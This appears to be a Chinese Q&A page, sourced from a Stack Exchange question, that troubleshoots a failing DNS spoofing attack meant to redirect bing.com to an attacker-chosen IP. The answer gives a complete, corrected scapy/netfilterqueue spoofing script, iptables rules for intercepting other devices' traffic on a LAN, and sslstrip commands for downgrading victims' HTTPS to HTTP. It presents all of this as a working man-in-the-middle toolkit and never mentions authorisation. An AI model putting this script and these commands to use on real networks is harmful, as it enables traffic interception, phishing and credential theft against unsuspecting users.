DNS欺骗未跳转目标页面:Linux下重定向bing.com至自定义IP失败
DNS欺骗运行但目标页面无法加载的问题排查与修复
我来帮你排查这个问题——终端显示DNS spoofing在运行,但目标页面连不上,大概率是几个常见环节出了问题,咱们一步步来:
一、先确认iptables规则是否匹配你的使用场景
你当前用的是:
sudo iptables -I OUTPUT -j NFQUEUE --queue-num 0 sudo iptables -I INPUT -j NFQUEUE --queue-num 0
这个规则只针对本机的数据包生效。如果你是想欺骗局域网里的其他设备,得把规则改成针对FORWARD链,同时开启IP转发:
# 开启IP转发 echo 1 > /proc/sys/net/ipv4/ip_forward # 清空旧规则避免冲突 sudo iptables -F INPUT sudo iptables -F OUTPUT # 添加针对转发数据包的规则 sudo iptables -I FORWARD -j NFQUEUE --queue-num 0
如果只是测试本机的话,原规则没问题,但建议先清空旧规则再重新添加,避免冗余规则干扰。
二、修复Python代码里的参数解析问题
你的代码里每次处理数据包时都会调用get_arguments(),这会导致每次收到包都重新解析命令行参数,不仅效率低,还可能出现参数获取异常的情况。应该把参数解析放在全局,然后传给处理函数:
修改后的代码如下:
import optparse import netfilterqueue import scapy.all as scapy def get_arguments(): parser = optparse.OptionParser() parser.add_option("-i", "--ip", dest="ip", help="Your IP") parser.add_option("-w", "--website", dest="web_site", help="Web site that you want to spoof") arguments = parser.parse_args()[0] if not arguments.ip: parser.error("[-] Set your IP, use -h for more info") if not arguments.web_site: parser.error("[-] Set web site, use -h for more info") return arguments # 全局获取参数,避免每次处理包都重新解析 args = get_arguments() def process_packet(packet): scapy_packet = scapy.IP(packet.get_payload()) if scapy_packet.haslayer(scapy.DNSRR): qname = scapy_packet[scapy.DNSQR].qname # 直接使用全局参数,无需重复解析 if args.web_site in qname: print(f"[+] Spoofing {args.web_site} to {args.ip}") answer = scapy.DNSRR(rrname=qname, rdata=args.ip) scapy_packet[scapy.DNS].an = answer scapy_packet[scapy.DNS].ancount = 1 # 删除校验和与长度,让Scapy自动重新计算 del scapy_packet[scapy.IP].len del scapy_packet[scapy.IP].chksum del scapy_packet[scapy.UDP].chksum del scapy_packet[scapy.UDP].len # 用字节流格式设置payload,适配Scapy新版本 packet.set_payload(bytes(scapy_packet)) packet.accept() queue = netfilterqueue.NetfilterQueue() queue.bind(0, process_packet) queue.run()
这里主要优化了两点:
- 把参数解析结果存为全局变量,避免重复解析命令行
- 将修改后的数据包转为字节流再设置回队列,避免字符串格式导致的数据包损坏
三、验证目标网站是否为HTTP协议
现在绝大多数网站都是HTTPS,如果你欺骗的是HTTPS网站(比如bing.com),即使DNS解析到了你的IP,浏览器会因为证书不匹配直接拒绝连接,导致“连接丢失”。建议先测试一个纯HTTP的网站(比如http://example.com)来验证DNS欺骗是否生效。
如果确实需要欺骗HTTPS网站,你需要配合sslstrip工具降级HTTPS为HTTP:
# 开启IP转发 echo 1 > /proc/sys/net/ipv4/ip_forward # 添加iptables规则,将HTTPS流量转发到sslstrip端口 sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000 # 启动sslstrip sslstrip -l 10000
然后再运行你的DNS欺骗脚本,浏览器会用HTTP访问,就能看到欺骗效果了。
四、检查自定义IP的可达性
确保你设置的自定义IP是可以正常访问的——比如在目标设备上ping这个IP,看是否能通。如果IP本身不可达,即使DNS解析正确,页面也无法加载。
内容的提问来源于stack exchange,提问作者Boris Veselov
相关产品推荐
相关产品推荐

